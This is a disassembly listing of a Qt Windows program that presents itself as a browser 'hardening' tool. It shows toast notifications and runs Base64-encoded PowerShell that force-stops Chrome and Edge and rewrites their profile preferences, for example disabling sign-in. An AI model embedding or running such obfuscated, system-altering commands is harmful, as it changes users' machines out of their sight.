lea rcx, [rbp - 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x398]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x32]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x3a0]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x10
mov dword [rsp + 0x34], r14d
mov rdx, rbx
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 0x10
bts r14d, 0xf
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x398]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x390]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov edx, 0x4f
lea rcx, str.Now_we_will_make_few_Privacy__Security_improvements_to_your_Browsers._Stage_1
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x140], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x238], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1d8], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1e0], rax
mov dl, 0x20
lea rcx, [rbp - 0x34]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x36]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x238]
lea rdx, [rbp + 0x380]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x388]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x12
mov dword [rsp + 0x34], r14d
mov rdx, rbx
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 0x12
bts r14d, 0x11
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x388]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x380]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x378]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.echo_Hardening_Chrome_and_EDGE..._
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x13
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x14
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, str._r_npowershell__encodedCommand_IwAgAB8EQAQBDIENQRABDoEMAQgAD0EMAQ7BDgERwQ4BE8EIAA4BEEEPwQBDsEPQRPBDUEPAQBDMEPgQgAEQEMAQ5BDsEMAQgAEMAaAByAG8AbQBlAA0ACgAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAA9ACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGMAaAByAG8AbQBlAC4AZQB4AGUAIgANAAoAJAB1AHMAZQByAE4AYQBtAGUAIAA9ACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlAA0ACgANAAoAIwAgAB8EQwRCBEwEIAA6BCAARAQwBDkEOwRDBCAAUAByAGUAZgBlAHIAZQBuAGMAZQBzAA0ACgAkAHAAcgBlAGYAZQByAGUAbgBjAGUAcwBQAGEAdABoACAAPQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAJAB1AHMAZQByAE4AYQBtAGUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAFAAcgBlAGYAZQByAGUAbgBjAGUAcwAiAA0ACgANAAoAIwAgACQEQwQ9BDoERgQ4BE8EIAA0BDsETwQgAD4EQQRCBDAEPQQBDIEOgQ4BCAAPwRABD4ERgQ1BEEEQQQBDIEIAAxBEAEMARDBDcENQRABD4EMgQNAAoAZgB1AG4AYwB0AGkAbwBuACAAUwB0AG8AcAAtAEIAcgBvAHcAcwBlAHIAUAByAG8AYwBlAHMAcwBlAHMAIAB7AA0ACgAgACAAIAAgACQAYgByAG8AdwBzAGUAcgAgAD0AIAAiAGMAaAByAG8AbQBlACIADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABiAHIAbwB3AHMAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUADQAKAH0ADQAKAA0ACgAjACAAJARDBD0EOgRGBDgETwQgADQEOwRPBCAAPwRABD4EMgQ1BEAEOgQ4BCAAQwRBBEIEMAQ9BD4EMgQ6BDgEIAAxBEAEMARDBDcENQRABDAEIABDAGgAcgBvAG0AZQANAAoAZgB1AG4AYwB0AGkAbwBuACAAQwBoAGUAYwBrAC0AQgByAG8AdwBzAGUAcgBJAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHsADQAKACAAIAAgACAAJABjAGgAcgBvAG0AZQBJAG4AcwB0AGEAbABsAGUAZAAgAD0AIABUAGUAcwB0AC0AUABhAHQAaAAgACQAYwBoAHIAbwBtAGUAUABhAHQAaAANAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGMAaAByAG8AbQBlAEkAbgBzAHQAYQBsAGwAZQBkACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAUgBlAGEAZAAtAEgAbwBzAHQAIAAiAEMAaAByAG8AbQBlACAAbgBvAHQAIABpAG4AcwB0AGEAbABsAGUAZAAuACAARABvACAAeQBvAHUAIAB3AGkAcwBoACAAdABvACAAYwBvAG4AdABpAG4AdQBlAD8AIAAoAFkALwBOACkAIgANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAG4AZQAgACcAWQAnACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBFAHgAaQB0AGkAbgBnACAAcwBjAHIAaQBwAHQALgAuAC4AIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQANAAoAfQANAAoADQAKACMAIAAkBEMEPQQ6BEYEOARPBCAANAQ7BE8EIAABDEEPQQBDIEOwQ1BD0EOARPBCAARAQwBDkEOwQwBCAAUAByAGUAZgBlAHIAZQBuAGMAZQBzAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABVAHAAZABhAHQAZQAtAFAAcgBlAGYAZQByAGUAbgBjAGUAcwAoACQAcABhAHQAaAApACAAewANAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABwAGEAdABoACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBuAHQAZQBuAHQAIAA9ACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABwAGEAdABoACAALQBSAGEAdwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABqAHMAbwBuAE8AYgBqAGUAYwB0ACAAPQAgACQAYwBvAG4AdABlAG4AdAAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuAA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAgAB4EMQQ9BD4EMgQ7BDUEPQQ4BDUEIAA9BDAEQQRCBEAEPgQ1BDoEIABzAGkAZwBuAGkAbgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABqAHMAbwBuAE8AYgBqAGUAYwB0AC4AcwBpAGcAbgBpAG4AKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABqAHMAbwBuAE8AYgBqAGUAYwB0ACAAfAAgAEEAZABkAC0ATQBlAG0AYgBlAHIAIAAtAE4AbwB0AGUAUAByAG8AcABlAHIAdAB5AE4AYQBtAGUAIAAiAHMAaQBnAG4AaQBuACIAIAAtAE4AbwB0AGUAUAByAG8AcABlAHIAdAB5AFYAYQBsAHUAZQAgAEAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGEAbABsAG8AdwBlAGQAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABhAGwAbABvAHcAZQBkAF8AbwBuAF8AbgBlAHgAdABfAHMAdABhAHIAdAB1AHAAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAagBzAG8AbgBPAGIAagBlAGMAdAAuAHMAaQBnAG4AaQBuAC4AYQBsAGwAbwB3AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAI
lea rcx, [rbp + 0x370]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x370]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x15
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x16
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, [0x1401b9c90]
lea rcx, [rbp + 0x368]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x368]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 0x16
lea rcx, [rbp + 0xa0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr r14d, 0x15
lea rcx, [rbp + 0x98]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr r14d, 0x14
lea rcx, [rbp + 0x90]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr r14d, 0x13
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x88]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x238]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x140]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x138]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x210]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x128]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0x27
lea rcx, str.Chrome_and_EDGE_is_now_HARDENED._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x100], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x108], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x130], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x120], rax
mov dl, 0x20
lea rcx, [rbp - 0x3a]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x3c]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x358]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x3e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x360]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x18
mov dword [rsp + 0x34], r14d
mov rdx, rbx
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 0x18
bts r14d, 0x17
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x360]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x358]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x350]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x120]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov edx, 0x1b
lea rcx, str.Browser_Hardening._Stage_2
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1b0], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x208], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x110], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x118], rax
mov dl, 0x20
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x118]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc6]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x340]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc4]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x348]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x1a
mov dword [rsp + 0x34], r14d
mov rdx, rbx
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 0x1a
bts r14d, 0x19
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x348]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x340]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x338]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.echo_Hardening_Chrome_and_EDGE..._
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts r14d, 0x1b
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x1c
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKACQAZQBkAGcAZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAG0AcwBlAGQAZwBlAC4AZQB4AGUAIgANAAoAJAB1AHMAZQByAE4AYQBtAGUAIAA9ACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlAA0ACgAkAGMAaAByAG8AbQBlAEwAbwBjAGEAbABTAHQAYQB0AGUAUABhAHQAaAAgAD0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcACQAdQBzAGUAcgBOAGEAbQBlAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABVAHMAZQByACAARABhAHQAYQBcAEwAbwBjAGEAbAAgAFMAdABhAHQAZQAiAA0ACgAkAGUAZABnAGUATABvAGMAYQBsAFMAdABhAHQAZQBQAGEAdABoACAAPQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAJAB1AHMAZQByAE4AYQBtAGUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABMAG8AYwBhAGwAIABTAHQAYQB0AGUAIgANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAdABvAHAALQBCAHIAbwB3AHMAZQByAFAAcgBvAGMAZQBzAHMAZQBzACAAewANAAoAIAAgACAAIAAkAGIAcgBvAHcAcwBlAHIAcwAgAD0AIABAACgAIgBjAGgAcgBvAG0AZQAiACwAIAAiAG0AcwBlAGQAZwBlACIAKQANAAoAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGIAcgBvAHcAcwBlAHIAIABpAG4AIAAkAGIAcgBvAHcAcwBlAHIAcwApACAAewANAAoAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAYgByAG8AdwBzAGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABDAGgAZQBjAGsALQBCAHIAbwB3AHMAZQByAEkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAewANAAoAIAAgACAAIAAkAGMAaAByAG8AbQBlAEkAbgBzAHQAYQBsAGwAZQBkACAAPQAgAFQAZQBzAHQALQBQAGEAdABoACAAJABjAGgAcgBvAG0AZQBQAGEAdABoAA0ACgAgACAAIAAgACQAZQBkAGcAZQBJAG4AcwB0AGEAbABsAGUAZAAgAD0AIABUAGUAcwB0AC0AUABhAHQAaAAgACQAZQBkAGcAZQBQAGEAdABoAA0ACgAgACAAIAAgACQAbQBpAHMAcwBpAG4AZwBCAHIAbwB3AHMAZQByAHMAIAA9ACAAQAAoACkADQAKAA0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAYwBoAHIAbwBtAGUASQBuAHMAdABhAGwAbABlAGQAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG0AaQBzAHMAaQBuAGcAQgByAG8AdwBzAGUAcgBzACAAKwA9ACAAIgBDAGgAcgBvAG0AZQAiAA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAZQBkAGcAZQBJAG4